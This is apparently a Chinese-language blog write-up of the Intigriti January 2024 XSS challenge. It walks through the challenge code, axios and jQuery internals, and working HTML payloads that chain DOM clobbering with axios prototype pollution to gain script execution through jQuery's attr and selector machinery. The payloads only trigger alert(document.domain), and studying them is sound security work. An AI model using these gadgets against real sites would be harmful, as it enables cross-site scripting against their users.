上個月(2024 年 1 月)的 Intigriti 挑戰非常有趣,出題者是 @kevin_mizu,之前也常在推特上看到他出一些 client-side 相關的題目,而這次的題目品質也一如既往的很好,值得寫一篇紀錄。
題目的連結在這邊,沒有看過的話可以先去看看:https://challenge-0124.intigriti.io/
似乎比想像中簡單?
題目的程式碼滿簡短的,先來看前端的部分,基本上就是一個 HTML 而已:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Intigriti XSS Challenge</title>
<link rel="stylesheet" href="/static/css/main.css">
</head>
<body>
<h2>Hey <%- name %>,<br>Which repo are you looking for?</h2>
<form id="search">
<input name="q" value="<%= search %>">
</form>
<hr>
<img src="/static/img/loading.gif" class="loading" width="50px" hidden><br>
<img class="avatar" width="35%">
<p id="description"></p>
<iframe id="homepage" hidden></iframe>
<script src="/static/js/axios.min.js"></script>
<script src="/static/js/jquery-3.7.1.min.js"></script>
<script>
function search(name) {
$("img.loading").attr("hidden", false);
axios.post("/search", $("#search").get(0), {
"headers": { "Content-Type": "application/json" }
}).then((d) => {
$("img.loading").attr("hidden", true);
const repo = d.data;
if (!repo.owner) {
alert("Not found!");
return;
};
$("img.avatar").attr("src", repo.owner.avatar_url);
$("#description").text(repo.description);
if (repo.homepage && repo.homepage.startsWith("https://")) {
$("#homepage").attr({
"src": repo.homepage,
"hidden": false
});
};
});
};
window.onload = () => {
const params = new URLSearchParams(location.search);
if (params.get("search")) search();
$("#search").submit((e) => {
e.preventDefault();
search();
});
};
</script>
</body>
</html>
其中這一段 <h2>Hey <%- name %>
是與後端唯一有關的部分,會在後端使用 DOMPurify 來進行 sanitization:
app.get("/", (req, res) => {
if (!req.query.name) {
res.render("index");
return;
}
res.render("search", {
name: DOMPurify.sanitize(req.query.name, { SANITIZE_DOM: false }),
search: req.query.search
});
});
值得注意的是這邊的 SANITIZE_DOM: false
,這個設置會停止對於 DOM Clobbering 的防護,因此可以猜測這題與 DOM Clobbering 有關,才會刻意把這個設置關掉。
而整題最主要的邏輯都在 search 函式裡面了:
function search(name) {
$("img.loading").attr("hidden", false);
axios.post("/search", $("#search").get(0), {
"headers": { "Content-Type": "application/json" }
}).then((d) => {
$("img.loading").attr("hidden", true);
const repo = d.data;
if (!repo.owner) {
alert("Not found!");
return;
};
$("img.avatar").attr("src", repo.owner.avatar_url);
$("#description").text(repo.description);
if (repo.homepage && repo.homepage.startsWith("https://")) {
$("#homepage").attr({
"src": repo.homepage,
"hidden": false
});
};
});
};
其實上面這一段,並沒有看出什麼有漏洞的地方,因此看完這段之後,我就先往用到的 library 去找,這題用到的是 jQuery 3.7.1 以及 axios 1.6.2,雖然檔案名稱沒寫,但是從檔案內容可以看得出來。
查了一下可以發現 1.6.2 並非最新版本,而且在 1.6.4 中修復了一個 prototype pollution 的漏洞:https://github.com/axios/axios/commit/3c0c11cade045c4412c242b5727308cff9897a0e
commit 裡面更是直接附上了 exploit,非常貼心:
it('should resist prototype pollution CVE', () => {
const formData = new FormData();
formData.append('foo[0]', '1');
formData.append('foo[1]', '2');
formData.append('__proto__.x', 'hack');
formData.append('constructor.prototype.y', 'value');
expect(formDataToJSON(formData)).toEqual({
foo: ['1', '2'],
constructor: {
prototype: {
y: 'value'
}
}
});
expect({}.x).toEqual(undefined);
expect({}.y).toEqual(undefined);
});
從 commit 可以看出 axios 中有一個叫做 formDataToJSON
的函式,會把 FormData 轉為 JSON,而轉換的程式碼中存有漏洞,可以透過 name 進行 prototype pollution。
接著再回來看題目的程式碼,有一段是:axios.post("/search", $("#search").get(0)
,因此只要能掌握 #search
,就能掌握這邊傳入的參數,從 axios 的原始碼中可以看出這邊傳入的 form,最後會被取出 FormData,並且傳給 formDataToJSON
(這邊引用的部分程式碼看不出來,但只要 trace 一下之後不難發現這件事)。
因此,我們可以用 name 注入一個 <form>
來進行 prototype pollution,下一步就要尋找 gadget 了,通常在找 gadget 的時候,會先從物件下手。
而程式碼中有個部分非常可疑:
$("#homepage").attr({
"src": repo.homepage,
"hidden": false
});
這裡傳入的參數是個物件,如果 .attr
函式沒有特別做檢查,很有可能會被污染的參數影響,而事實上也是這樣,在 jQuery 中,attr 的實作如下:
jQuery.fn.extend( {
attr: function( name, value ) {
return access( this, jQuery.attr, name, value, arguments.length > 1 );
},
}
export function access( elems, fn, key, value, chainable, emptyGet, raw ) {
var i = 0,
len = elems.length,
bulk = key == null;
// Sets many values
if ( toType( key ) === "object" ) {
chainable = true;
for ( i in key ) {
access( elems, fn, i, key[ i ], true, emptyGet, raw );
}
}
}
如果傳入的 key 是個 object,會用 in 來取出每一個 key 設定。由於 in 會取出原型鏈上的屬性,因此可以透過污染 onload
,讓 jQuery 去設定 onload 屬性。
payload 如下:
<form id=search>
<input name=__proto__.onload value=alert(document.domain)>
<input name=q value=react-d3><
</form>
看起來沒什麼問題,但嘗試過後,會發現出現了錯誤:
Uncaught (in promise) TypeError: Cannot use 'in' operator to search for 'set' in alert(document.domain)
經過一陣 debug 之後,會發現這段錯誤是源自於設置 attr 時的這一段:
// Attribute hooks are determined by the lowercase version
// Grab necessary hook if one is defined
if ( nType !== 1 || !jQuery.isXMLDoc( elem ) ) {
hooks = jQuery.attrHooks[ name.toLowerCase() ] ||
( jQuery.expr.match.bool.test( name ) ? boolHook : undefined );
}
if ( value !== undefined ) {
if ( value === null ) {
jQuery.removeAttr( elem, name );
return;
}
if ( hooks && "set" in hooks &&
( ret = hooks.set( elem, value, name ) ) !== undefined ) {
return ret;
}
elem.setAttribute( name, value + "" );
return value;
}
會先執行到 hooks = jQuery.attrHooks[ name.toLowerCase() ]
,由於我們污染了 onload
屬性,所以 jQuery.attrHooks['onload']
會是字串,因此 hooks 也是個字串。
接著執行到 "set" in hooks
,由於字串並沒有 in
可以用,因此拋出了先前看到的錯誤。
既然知道問題在哪了,那解決方式就簡單了,把 onload
改成 Onload
就好,因為如此一來 name.toLowerCase()
就會是 onload
,而 jQuery.attrHooks['onload']
並不存在。
做到這裡,題目就解開了,難度比我想像中的容易很多,大約花個 3-4 個小時差不多。接著,我看到了作者的推特,意識到原來是有 unintended,難怪難度比我想得要低。
預期解法也沒這麼難…嗎?
知道自己的解法是非預期之後,就開始思考起什麼才是預期解,作者有在 Discord 裡面說預期解法跟現在的非預期解法,使用到的地方完全不同,因此可以想像是把 attr({})
那一段排除,留下剩下的程式碼,就只剩這些:
function search(name) {
$("img.loading").attr("hidden", false);
axios.post("/search", $("#search").get(0), {
"headers": { "Content-Type": "application/json" }
}).then((d) => {
$("img.loading").attr("hidden", true);
const repo = d.data;
if (!repo.owner) {
alert("Not found!");
return;
};
$("img.avatar").attr("src", repo.owner.avatar_url);
$("#description").text(repo.description);
});
};
剩下的程式碼中,我的直覺告訴我重點是這一行:
$("img.avatar").attr("src", repo.owner.avatar_url);
如果可以利用 prototype pollution 把 $("img.avatar")
變成 $('#homepage')
,選到那個 iframe 的話,再搭配上我們可以掌握 repo.owner.avatar_url
,就能把 iframe 的 src 設置成 javascript:alert(1)
,達成 XSS。
我覺得這個猜測非常合理,大概有九成的把握是對的,因為透過 prototype pollution 來影響 selector 這個招數應該是新的,至少我之前沒看過,而且這個很酷!也符合了作者在推特上講的:「super interesting」
因此,接下來我就花了點時間開始尋找 selector 是怎麼運作的,但這段程式碼比我想像中複雜了不少,而且牽涉到許多函式。
花了四五個小時之後,終於找到一個可以利用的地方。
首先,在執行 $()
的時候,底層是用 find 來找到對應的元素,而這邊會有一個 documentIsHTML
的檢查,如果是 true 的話,基本上就會就是利用 querySelector 之類的原生 API 去尋找,沒有操作空間。
因此我們要先想辦法讓它是 false,判斷的程式碼在這裡,只要讓 isXMLDoc
回傳 true,documentIsHTML
就會是 false:
isXMLDoc: function( elem ) {
var namespace = elem && elem.namespaceURI,
docElem = elem && ( elem.ownerDocument || elem ).documentElement;
// Assume HTML when documentElement doesn't yet exist, such as inside
// document fragments.
return !rhtmlSuffix.test( namespace || docElem && docElem.nodeName || "HTML" );
},
我們可以透過 DOM clobbering 去覆蓋掉 documentElement
,來讓 docElem
變成一個 <img>
,因為不是 <html>
,就可以讓檢查失效,並且讓 isXMLDoc
變成 true。
繞過了檢查以後,就暫時不會用原生的那些 API,而是執行到 select 函式,開頭會先將 selector 做 tokenize:
function tokenize( selector, parseOnly ) {
var matched, match, tokens, type,
soFar, groups, preFilters,
cached = tokenCache[ selector + " " ];
if ( cached ) {
return parseOnly ? 0 : cached.slice( 0 );
}
// ...
}
這邊看起來就是我們要找的地方了!
只要污染 img.avatar
,就可以控制 tokenCache
的內容,進而影響到 tokenize 的結果,直接把結果替代成我們要選的 iframe。
看來預期解法也沒這麼難嘛。
但嘗試過後,發現沒有用。
沒有用的原因不是因為 gadget 找錯,而是因為 prototype pollution 的部分。此時,就被逼得回頭研究之前偷懶只看 exploit 的 axios 漏洞。
Axios 在把 form 的名稱轉成 JSON 的 key 時,是這樣運作的:
/**
* It takes a string like `foo[x][y][z]` and returns an array like `['foo', 'x', 'y', 'z']
*
* @param {string} name - The name of the property to get.
*
* @returns An array of strings.
*/
function parsePropPath(name) {
// foo[x][y][z]
// foo.x.y.z
// foo-x-y-z
// foo x y z
return utils.matchAll(/\w+|\[(\w*)]/g, name).map(match => {
return match[0] === '[]' ? '' : match[1] || match[0];
});
}
會把 A-Za-z0-9_ 以外的字元都當作分隔符號,因此空白沒辦法成為屬性名稱的一部分。我在這邊花了三四個小時,沒有找到任何可以繞過的方式。
此時我知道我錯了,這題真的沒這麼簡單…
人生三大錯覺之一:我能解開
過了一天以後,繼續看這道題目,既然沒辦法用空白,那應該是有其他地方可以利用,於是就接著追蹤程式碼的運作。
繼續一直往下追的話,會追到 matcherFromTokens 這個函式,但裡面的程式碼一樣又多又複雜,於是我第一次看到的時候心裡想著:「算了吧,還是等解答好了」。
但過了一天之後重振精神,再次從頭開始看起,發現其實在進入 tokenize 之前,就有一個地方可以污染了:
function select( selector, context, results, seed ) {
var i, tokens, token, type, find,
compiled = typeof selector === "function" && selector,
match = !seed && tokenize( ( selector = compiled.selector || selector ) );
// ...
}
這邊有個 selector = compiled.selector || selector
,那只要污染 selector
,我不就可以任意更改 selector 了嗎?
正當我為自己的聰明沾沾自喜時,現實馬上跑過來打了我一巴掌,污染了 selector 之後,在進入到 tokenize 時出錯了,因為裡面有一段是:
// Filters
for ( type in filterMatchExpr ) {
if ( ( match = jQuery.expr.match[ type ].exec( soFar ) ) && ( !preFilters[ type ] ||
( match = preFilters[ type ]( match ) ) ) ) {
matched = match.shift();
tokens.push( {
value: matched,
type: type,
matches: match
} );
soFar = soFar.slice( matched.length );
}
}
因為污染了 selector,所以在執行 type in filterMatchExpr
的時候,被污染的 selector 就會被取出來,接著執行到 jQuery.expr.match[ type ].exec
,由於字串並沒有 exec 這個方法,所以就會報錯。
也就是說,不管我們污染了什麼,只要進入到 tokenize 就會出錯,所以想要把 selector 直接污染成 iframe 是辦不到的。
但沒關係,我們可以把 selector 污染成之前已經在 cache 裡面的東西,例如說 img.loading
,就可以繞過 tokenize。
但這也只是不讓程式壞掉而已,依舊沒辦法把題目解開。
還是得靠提示
又過了一兩天,看到了作者在推特上的提示,直接明確指出關鍵就在於我之前因為太複雜所以略過的 addCombinator,從提示中可以看出,我確實只差最後一步了。
因此又硬著頭皮花了半天左右,稍微 trace 了一下這部分的程式碼,最後才終於得到預期的答案。
先附上最後的 payload:
<img name=documentElement>
<form id="search">
<input name="__proto__.owner.avatar_url" value="javascript:alert(document.domain)">
<input name="__proto__.CLASS.a" value="1">
<input name="__proto__.TAG.a" value="1">
<input name="__proto__.dir" value="parentNode">
<input name="__proto__.selector" value="img.loading">
</form>
其實最後一部分 addCombinator 那邊有點像是一半用猜的,一半是真的知道,大概就是某一個部分會用 dir
來找匹配的元素,設定成 parentNode 之後就會一直往上找,然後就會配對到整個 HTML 的元素,因此就會幫每一個 element 都加上 src,裡面當然也包含了 iframe。
但每一個函式的細節我已經忘記了,因為真的有點複雜,如果有興趣知道的話,可以直接去看原作者的 writeup(底下會附上連結)。
後記
我很喜歡這道題目那種循序漸進的感覺,從一開始找到非預期解以為很簡單,到後來找到第一個 cache 的地方以為解開了,卻回頭發現 axios 的 prototype pollution 沒辦法搭配使用,接著找到第二個 compiled.seletor
也以為結束了,才發現其實還沒。
要一直再往下深追,追到 addCombinator,才能確定這一題是真的可以解開,能在一道題目裡面情緒起伏這麼多次,代表這個題目設計的很好。另一個我很喜歡的點是這是一道逼迫你 code review 的題目,沒看 code 的話是絕對解不開的。我很喜歡 code review,因此也很喜歡這個題目。
很佩服作者能夠繼續往深處探索,找到這個非常有趣的答案,結合了 DOM clobbering 跟 prototype pollution,修改了 jQuery selector 的指向,出了一題這麼好玩的題目!
再次推薦作者本人的 writeup,跟我經歷了差不多的過程:Intigriti January 2024 - XSS Challenge
除此之外,@joaxcar 找到的另外一個非預期解也很有趣,有興趣的可以看看:Hunting for Prototype Pollution gadgets in jQuery (intigriti 0124 challenge)
若是對最一開始的題目有興趣,也可以參考這邊:https://bugology.intigriti.io/intigriti-monthly-challenges/0124